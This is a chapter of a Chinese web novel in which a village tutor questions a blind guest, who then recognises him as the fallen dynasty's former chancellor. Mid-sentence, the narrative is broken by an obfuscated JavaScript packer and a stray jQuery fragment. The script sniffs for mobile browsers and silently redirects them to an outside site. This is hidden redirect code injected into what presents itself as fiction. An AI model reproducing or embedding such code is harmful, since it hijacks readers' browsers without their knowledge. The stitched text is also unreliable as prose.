“家里那位不让啊!”应青炀露出惭愧的表情,语气里还带着少许恐惧。
仿佛家里有什么洪水猛兽,只要他乱花钱就会惩罚一样。
“这……这……”程商人一时语塞,大概也是实在没想到,一个冬天没见,自己的大主顾就英年早婚了。
应青炀拍了拍那行商的肩膀,道:“你不懂,从前是一人吃饱全家不饿。”
饶是他舌灿莲花地再说什么,应青炀都坚定地拒绝了。
程商人看着应青炀欲哭无泪,那沉痛的表情和死了亲娘没什么区别。
应青炀留下沉痛一击:“现在嘛,要养家糊口的男人当然要着点。”
程商人:“……”你也可以直说自己怕老婆。
*
出门在外面子是自己给的,远在荒村的江枕玉并不知道应青炀为了躲过推销,胡说八道了些什么。
应青炀这个主人不在家,夫子来访,江枕玉只能代为招待。
他动作不算熟练地控制着轮椅,将这位夫子迎进了门,并且在矮桌上给夫子倒了茶。
江枕玉看不见,但倒茶的动作已经轻车熟路,茶碗半满,一点水渍都没有溅出去。
夫子从善如流地在矮桌对面的座位坐下,并不嫌弃地拿起茶碗饮了一口。
两人对坐无言了片刻,谁都没有说话。
江枕玉自觉和这位夫子没什么交集,也没有主动挑起话题的意思。
他还体面地坐在这里,只是因为这人对应青炀有授业之恩。
而且只是方才在门口那一个照面,江枕玉就能看得出来,这人是冲他来的,否则不必特地选了一个应青炀不在的时间。
江枕玉其实早有察觉,这个村子里的人有些排外,而且对应青炀这个吃百家饭长大的孩子格外照顾。
村里的人他见过一部分,对他都不算热络。
而不知道是巧合还是有意为之,今日是他第一次和应青炀的这位夫子见面。
沉默以对的时间里,这位老者的目光始终停留在江枕玉身上,是明显的打量。
这并不奇怪。
如果江枕玉视力正常,他此刻也会做同样的事,只不过不会做得那么明显。
一个双眼不能视物的人,看起来的确毫无威胁力。
江枕玉并未从视线中感受到冒犯,他淡然得好似屋子里没有其他人一样。
他已经久不和人寒暄,也并不觉得自己有可以开口的身份和立场。
比起闲聊,他心里突然冒出来的熟悉感更让人在意。
早便说过了,他这人记性极好,幼时便能过耳不忘,此刻他总觉得,这位太傅的声音有些过分耳熟。
他沉思的模样看着有种拒绝交流的冷漠感。
于是场面就这样僵住了。
姜允之目光深远,只觉得面前这个男人气质不凡。
和那日昏迷不醒瘫卧在床的情形相比,身体恢复得不错,但健康起来的人便无意识地散发出了本就难以遮掩的威严。
位高权重的人,不管沦落到什么地步,行为举止中的习惯总是难以遮掩。
姜允之早便知道,那混小子就是会给他惹麻烦。
他果真没有白白走这一趟。
姜允之有意来个下马威,长久不言。
半盏茶的功夫之后,姜允之才慢悠悠地开口了:“方才在门口,你并未询问,缘何便确信我是村中夫子?”
江枕玉道:“能这么关心他的学业,除了夫子之外,不做他想。”
轻纱之下,江枕玉闭着眼,听觉比往常更加灵敏,他似乎隐约能察觉到细微的动作。
面前这老者,似乎对方才他斟满的茶碗格外热衷,也不知道那陈茶有什么好喝的。
应青炀走之前特地给他烧好的,怕江枕玉受伤才从炭火上去下放在矮桌上,这会儿估摸着已经快凉了。
夫子哼笑了一声,“这混小子向来是个榆木脑袋,读书习字上半点没有天赋,托你的福,才有这般长进。”
江枕玉闻言终于有了动作,他微微侧了侧头,语气淡漠,却无端有种疑惑和嘲讽,“他很聪慧,能举一反三,记性也好,讲过的学问从来不会忘,没有天赋……不知道夫子觉得什么样的人才算是有天赋?”
听他这番话,好像是在认真询问这荒村野地里,姜允之都教过什么天赋卓绝的好苗子。
但和应青炀那混不吝的性子一比,便能显而易见地看出,这人只是单纯地不认可他对应青炀的贬低,所以出言嘲讽罢了。
姜允之嘴角抽了抽,他本正捋着花白的胡子,表情神秘莫测,听完江枕玉的话,手下一时没了轻重,差点把自己的胡子扯断。
他顿时有些没好气,“你从琼州之外来,论起学风,定然比这荒凉地要浓厚得多,怎会不知道真正勤勉的学子是什么样子的。”
应青炀是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14992414|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他一手带大的,这孩子在读书上有没有天赋他再清楚不过了。
从前总听村里人变着花儿地夸应青炀能干,姜允之本以为自己早就免疫了,却没想到人外有人。
没有一个人在做学问上,把应青炀夸出花来的,这么无脑又离谱的话,哪怕是最溺爱孩子的沈老爷子也说不出口。
——毕竟要脸!
“没见过。”江枕玉斩钉截铁地答道。
他半点没觉得丢人,脸不红心不跳,睁眼睛说瞎话到这种地步,姜允之是真的有几分佩服。
姜允之吹胡子瞪眼,看起来有一盆子冷嘲热讽不吐不快,碍于和这人不熟,愣是没说出口。
只是仍在心里腹诽,得亏这男人不是自己的学生,眼光歪到这种地步那还得了。
这要是和应青炀凑成一对卧龙凤雏,都这么不敬师长,不出多长时间,姜允之就得把自己气死。
姜允之平复了半响,这才再度开口:“你既然有这本事,在外高低也能谋个一官半职,怎么会沦落到琼山深处?若是有什么难处也可说与老夫听,老夫定然竭尽所能,算是你教他学文的答谢。”
江枕玉从这番话里察觉到了排斥,这位夫子嘴上说着答谢,实际却不太希望他继续留在村子里。
两人从刚一照面开始,他就从这人身上感受到了审视,奇异的打量,甚至是一点点不易察觉的厌恶。
江枕玉能理解。估摸着之前应青炀为了救他,在长辈面前说自己要和男人成婚的事,给这位夫子也留下了不小的阴影。
江枕玉道:“我已是孤身一人,并无亲眷,无牵无挂,不必麻烦了。这段时日欠下的债,我总会赔给他的。”
姜允之没想到自己会得到这种答案。
也并不明白,一个见过了山外繁华世界的人,因为什么,才会真的心甘情愿地留在这么个荒凉的地方,过这种堪称折磨的贫苦生活。
长久的沉默之后,姜允之这才语重心长地开口,话里话外和面对自家小辈没什么区别。
“你从北境之外来,他十九年没有离开过这里,劳烦你多照顾他。”
“他一腔赤诚,虽然快要及冠,却也没经历过多少事,对人从来充满善意毫无防备,我今日来见你,只是不希望他识人不清,最后自己受伤。”
“有些决定一旦做了,事后再悔改,就只会伤人伤己。”
江枕玉明白,他其实只是恰好,在应青炀最少年意气的年纪,成为了对方向外探索世界的起始点。
与他是什么人,是什么身份,都没有太重要的关系。
江枕玉总觉得这位夫子话里有话,那隐约的违和感让他心中的警惕猛然拔高。
这种条件反射的怀疑只是一种本能。
他身体绷直一瞬,道:“我明白。”
姜允之审视的目光再度落到他身上,只是这一次,他什么也没说。
他拿起矮桌上的茶碗一饮而尽,兀自起身离开。
坐在轮椅上的江枕玉却突然开口问道:“还没有请教夫子姓名。”
姜允之脚步一顿,冷淡地留下一句:“姓姜。”
厚重的帘子被掀起又放下,那一瞬间透进来的风雪声让江枕玉心尖战栗。
他的记忆顺着呼啸的冷风穿过漫长的时间,回到十几年前的旧都。
他跟着父亲拜访当时的大应宰相,姜允之。
“这是我儿裴晏,若是以后有机会,我希望他能拜在先生门下。”
“若真有这一天,老夫定竭尽所能。”
那年江枕玉九岁,那是他第一次见姜允之,也是最后一次。
次年,帝位更迭,裴期官拜宰相,姜允之被摘了乌纱帽,因其才名满天下,勉强留下一条命,给了一个太子太傅的虚职。
旧都城破时,大火烧遍整个城池,不少人葬身火海,也有不少人音讯全无。
那一瞬间,姜允之的身份和村里种种奇怪的现状编织到一起,拼凑出了一个匪夷所思的真相。
姜允之如何逃离旧都的火海?被他教养至今的阿阳又是什么人?为何他从来没有和自己提过他真实姓氏?
“应”乃前朝国姓,先帝唯一下落不明的血脉,大应五皇子——应青炀?
江枕玉相信那个和自己相处多日的少年并无恶意。
可若是对方知道他的真实身份呢?若是知道他本该为大应臣子,却以下犯上,甚至率军堙灭大应最后的痕迹,他又会怎么想?
他们之间相隔的不仅仅是十年光阴。
还有……血海深仇。